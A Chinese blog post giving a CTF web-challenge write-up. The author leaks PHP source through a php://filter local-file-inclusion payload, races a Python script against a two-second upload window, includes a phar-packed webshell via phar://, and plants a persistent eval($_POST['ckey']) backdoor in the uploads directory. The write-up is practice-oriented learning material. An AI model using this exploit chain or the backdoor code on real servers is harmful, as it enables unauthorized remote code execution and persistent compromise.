美文网首页
XCTF练习(一)

XCTF练习(一)

作者: wtmxx | 来源:发表于2017-08-15 21:11 被阅读0次

一道web题:链接
自己很多php姿势都不会, 这条题目摸了很久, 于是我把这道题目详细都记了下来。 参考了大神的writeup
打开题目地址一通查看, 发现这个页面比较可疑, 可能可以直接传一句话木马。

Snipaste_2017-08-15_21-18-25.png
试传发现有过滤,换了一些绕过姿势, 发现即使上传成功, 获得了上传id 也没有办法访问图片,目录扫描发现uploads目录, 发现格式长得很像的图片, 说明图片名是经过处理的。这超出菜逼我的能力了, 于是就翻开writeup学姿势。
Snipaste_2017-08-15_21-31-00.png
这题其实是LFI漏洞
用姿势获得源码, 访问http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-encode/resource=index
获得了index.php 文件的base64 编码。
PD9waHANCglyZXF1aXJlKCJoZWFkZXIucGhwIik7DQoJJHBhZ2U9IiI7DQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJJHBhZ2U9c3RydG9sb3dlcigkX0dFVFsncGFnZSddKTsNCgkJJHBhZ2U9c3RyX3JlcGxhY2UoIiMiLCAiIiwgJHBhZ2UpOw0KCQkkcGFnZT1zdHJfcmVwbGFjZSgiJyIsICIiLCAkcGFnZSk7DQoJCSRwYWdlPSRwYWdlLiIucGhwIjsNCgl9DQoJZWxzZQ0KCQkkcGFnZT0ibWFpbi5waHAiOw0KCWluY2x1ZGUoJHBhZ2UpOw0KPz4NCg==
解码获得index.php 源码
<?php
    require("header.php");
    $page="";
    if (isset($_GET['page']))
    {
        $page=strtolower($_GET['page']);
        $page=str_replace("#", "", $page);
        $page=str_replace("'", "", $page);
        $page=$page.".php";
    }
    else
        $page="main.php";
    include($page);
?>

发现将page参数中的 '#' 和 " ' "号作了过滤, 并且在尾部加上了".php" 的文件后缀。
同理获得upload.php 的源码

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            //echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(2);               
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "图片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

阅读源码, 首先有个过滤, $name1=substr($name,-4) 截取了后四位的文件名, 判断如果不是gif或者jpg就失败并且返回原页面。
然后通过 is_uploaded_file()函数 来判断该文件是否通过post 方式上传。
构造一个$time.$name1 的文件名, 通过move_uploaded_file()函数放到uploads 目录下, 成功了会sleep(2), 也就是说在这两秒内, 上传上去的原文件是以$time.$name1 的格式存在在uploads/ 这个目录下面的。如果没有index.php 中对page 参数的过滤处理, 是可以直接通过图片执行代码的。 在sleep(2) 之后, 系统会重新创建一个图片, 这时候不符合格式的图片会被重新生成, 图片里的代码也会消失。
这是原来的gif 图片:

Snipaste_2017-08-16_11-10-36.png
通过代码重新创建:
<?php
$im = @imagecreatefromgif('img2.gif');
if(!$im)
    {
        /* Create a blank image */
        $im = imagecreatetruecolor (150, 30);
        $bgc = imagecolorallocate ($im, 255, 255, 255);
        $tc = imagecolorallocate ($im, 0, 0, 0);

        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring ($im, 1, 5, 5, 'Error loading img.gif', $tc);
    }
imagegif($im, 'heheda.gif');
imagedestroy($im);
?>

生成的heheda.gif:

Snipaste_2017-08-16_11-13-55.png

可以发现图片里的代码段消失了。所以只能在这两秒时间内通过图片执行代码。
首先本地构造一个phar 文件包含webshell, 再改名为webshell.gif。
编写脚本获取该文件:

# -*- coding:utf-8 -*-
import requests
import re
import time
import copy
url = "http://202.112.51.217:8199/uploads/"
files=[]
files2=[]
vulname=''
def gettmpfile():
    r = requests.get(url)
    for line in r.content.split('\n'):
        res = re.match('.*href=\"([\d]+\.[\w]+)\"', line)
        try:
            files.append(res.group(1))
        except Exception, e:
            pass
    return len(files)

gettmpfile()
files2 = copy.copy(files)
files = []
tt = 0
found = False
while(not found):
    time.sleep(1)
    tmp = gettmpfile()
    for x in files:
        if x not in files2:
            vulname = x
            found= True
            break
    files2 = copy.copy(files)
    files = []

执行脚本, 上传webshell.gif后 vulname 会返回刚刚上传的文件名。利用phar:// 去执行刚刚上传的脚本

url2 = "http://202.112.51.217:8199/index.php?page=phar://uploads/"+ vulname + "/cws"
r = requests.get(url2)
print r.content

因为文件只能存在两秒, 所以就想到写入一个长期存在的后门abc.php, 尝试了一下在主目录下是没有写权限的, 于是写在了uploads/ 目录下,脚本如下cwv.php:

<?php
if ($f=fopen("./uploads/abc.php", "w")){
    echo "could open&write...";
    fclose($f);
}
else{
    echo "this file is not writable.....";
}

$f=fopen("./uploads/abc.php", "w");
$content = "<?php echo 'write the shell';@eval(\$_POST['ckey']); ?>";
fwrite($f, $content);
fclose($f);
$f=fopen("abc.php", "r");
?>

执行后的效果:

Snipaste_2017-08-16_12-26-22.png

发现成功上传, 利用菜刀连接成功。

相关文章

  • XCTF练习(一)

    一道web题:链接自己很多php姿势都不会, 这条题目摸了很久, 于是我把这道题目详细都记了下来。 参考了大神的w...

  • XCTF_OJ 练习平台

    传送门:http://oj.xctf.org.cn/login/?next=/ XCTF-OJ (X Captur...

  • XCTF-reverse-新手练习 writeup

    insanity 自己解题思路: 拿到代码先使用file工具查看代码类型,显示为ELF32位程序 使用ida打开程...

  • unserialize3

    class xctf{ public $flag = '111'; public function __wakeu...

  • 攻防世界(进阶)--WEB--5.unserialize3

    考察点:反序列化 1.进入场景,代码审计 xctf类中变量flag值为111,序列化后为 O:4:"xctf":1...

  • XCTF-misc-新手练习 write up

    pdf 自己wp 题目给了一个pdf,打开是一个图片,使用Adobe Acrobat工具“文档”选项-->“检查文...

  • 1. SimpleJs

    题目链接:https://adworld.xctf.org.cn/challenges/details?hash=...

  • xctf reverse

    解决linux的-bash: ./xx: Permission denied 未解 1.gdb

  • XCTF bug

    XCTF bug 描述 暂无 题解 一个注册,一个找回密码 随便注册一个账户,然后登陆,这里可以显示个人信息,修改...

  • XCTF cgpwn2

    题目 https://adworld.xctf.org.cn/task/answer?type=pwn&numbe...

网友评论

      本文标题:XCTF练习(一)

      本文链接:https://www.haomeiwen.com/subject/wcavrxtx.html